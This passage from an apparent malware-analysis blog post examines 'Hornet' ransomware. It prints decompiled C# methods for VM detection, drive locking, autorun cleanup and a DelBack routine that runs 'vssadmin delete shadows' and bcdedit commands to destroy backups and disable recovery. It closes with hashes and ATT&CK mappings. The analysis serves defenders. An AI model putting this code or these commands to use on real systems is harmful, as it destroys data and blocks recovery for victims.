i++;
continue;
Block_4:
try
{
IL_5A:
return "good";
}
catch (Exception)
{
}
goto IL_65;
}
return "Null";
}

Halting our analysis from the Slite method, looking into the Pro method, this method actually checks if there are certain processes like VBox , prl_ , srvc.exe , vmtoolsd running and it does this by iterating all the running processes where the sample is running using the GetProcesses method, if this processes are found after enumerating lists of processes, it returns good, this is some kind of method which basically checks whether the program is running inside a Virtual machine or not in case it does, it is basically returning this string good .

if (source.Contains(getsysteminfo) && this.numfile > 5000)
{
foreach (DriveInfo driveInfo in this.Drives)
{
try
{
this.lockdir(driveInfo.RootDirectory.ToString(), "reset", this.words);
}
catch (IOException)
{
}
}
this.Network("reset", this.words);
}
}
}

Now, coming back to where we left at the slite method. This part of the code will check if the language code is present in the array and it also checks if the value of the numfile variable is more than 5000. If this condition evaluates to true it goes ahead and and uses lockdir method to lock the drive. Then at the end, it calls the method Network and passes the string reset & words as parameter.

public void KillAutorun()
{
string name = "Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce";
string location = Assembly.GetExecutingAssembly().Location;
string fileName = Path.GetFileName(location);
try
{
using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(name, true))
{
if (registryKey != null)
{
registryKey.DeleteValue(fileName);
Registry.CurrentUser.DeleteSubKey(fileName);
}
}
}
catch (Exception)
{
}
try
{
string path = Path.GetTempPath() + "Adobe\\";
Directory.Delete(path, true);
}
catch (Exception)
{
}
}

Now, after Slite() method we have another method known as KillAutoRun() which is basically deleting the registry key and the directory at temp path which was created by the method Autorun , it does this by assigning the value inside a variable known as name and then it uses location which uses GetExecutingAssembly to load the binary to the loaction variable. And then it deletes the directory at temp folder created by Autorun() method at Path.GetTempPath() + "Adobe\\ using Directory.Delete() method.

After the execution of KillAutoRun , now after that the value of the password variable is set to null and we have one more method DelBack being called. Now let us check out the method.

// Token: 0x06000021 RID: 33 RVA: 0x000040BC File Offset: 0x000022BC
public void DelBack()
{
WindowsPrincipal windowsPrincipal = new WindowsPrincipal(WindowsIdentity.GetCurrent());
bool flag = windowsPrincipal.IsInRole(WindowsBuiltInRole.Administrator);
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "delback.bat");
string contents = "vssadmin delete shadows /all /quiet & bcdedit.exe /set {default} recoveryenabled no & bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures";
File.WriteAllText(text, contents, Encoding.Default);
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.Verb = "runas";
processStartInfo.FileName = text;
if (!flag)
{
try
{
Process.Start(processStartInfo);
return;
}
catch (Win32Exception)
{
return;
}
}
try
{
Process.Start(processStartInfo);
}
catch (Win32Exception)
{
}
}

This method as the name says goes ahead and deletes all existing backups, it does it by initializing a boolean variable as windowsPrincipal, this actually stores the value returned from IsInRole which checks the administrator privilege, and accordingly sets the value true or false . Then it goes ahead and creates a file delback.dat and writes the contents vssadmin delete shadows /all /quiet which deletes all shadow copies using the vssadmin utility and quiet flag which suppresses confirmation prompts. Then next it writes bcdedit.exe /set {default} recoveryenabled no , which disables the recovery options for the default boot entry. Then going ahead it writes bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures which sets the boot status policy for the default boot entry to ignore all failures.

Now, if the value of flag variable is true that is if it is running as an administrator, the Process.Start method is called, and this file delback.dat is run.

After, this is done, it goes ahead self deleting itself calling the SelfDelete() method. And finally exits.

# Hashes

SHA256: a0cbeffec158a29e5bfd37bd495bd84fd59596d5145f5bb4b59fca1ff06ff07e

# MITRE ATT&CK TTP

T1614.001 : System Location Discovery: System Language Discovery

T1070.004 : Indicator Removal: File Deletion

T1057 : Process Discovery

T1012 : Query Registry

T1547.001 : Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

T1039 : Data from Network Shared Drive

T1497.001 : Virtualization/Sandbox Evasion: System Checks

T1490 : Inhibit System Recovery

T1486: Data Encrypted for Impact

# Connection with Neshta Crypter

This might be the most dumbest attribution in history, but the name of sample xaqipaxowq.exe which has been analyzed in this blog, has some common attributes with this sample:

SHA-256: c226fa0b0d3133d44ff3bc1d52f72fbe97869c40f18717197242886a13c30041

This sample as it seems , is probably a ransomware builder. Some of the common strings between these two files[builder & ransomware]:

  • Yzaterik Corporation
  • Zadilok

Rest of the common strings, I have pasted below.

ASCII Strings[Hornet Ransomware] : https://nekobin.com/joduyehexo
ASCII Strings[Supposed to be builder & has the string : Delphi-the best. Fuck of all the rest. Neshta 1.0 Made in Belarus ]: https://nekobin.com/guyilebohe

# Resources :

# Contributors

-RIXED LABS Team.

--

--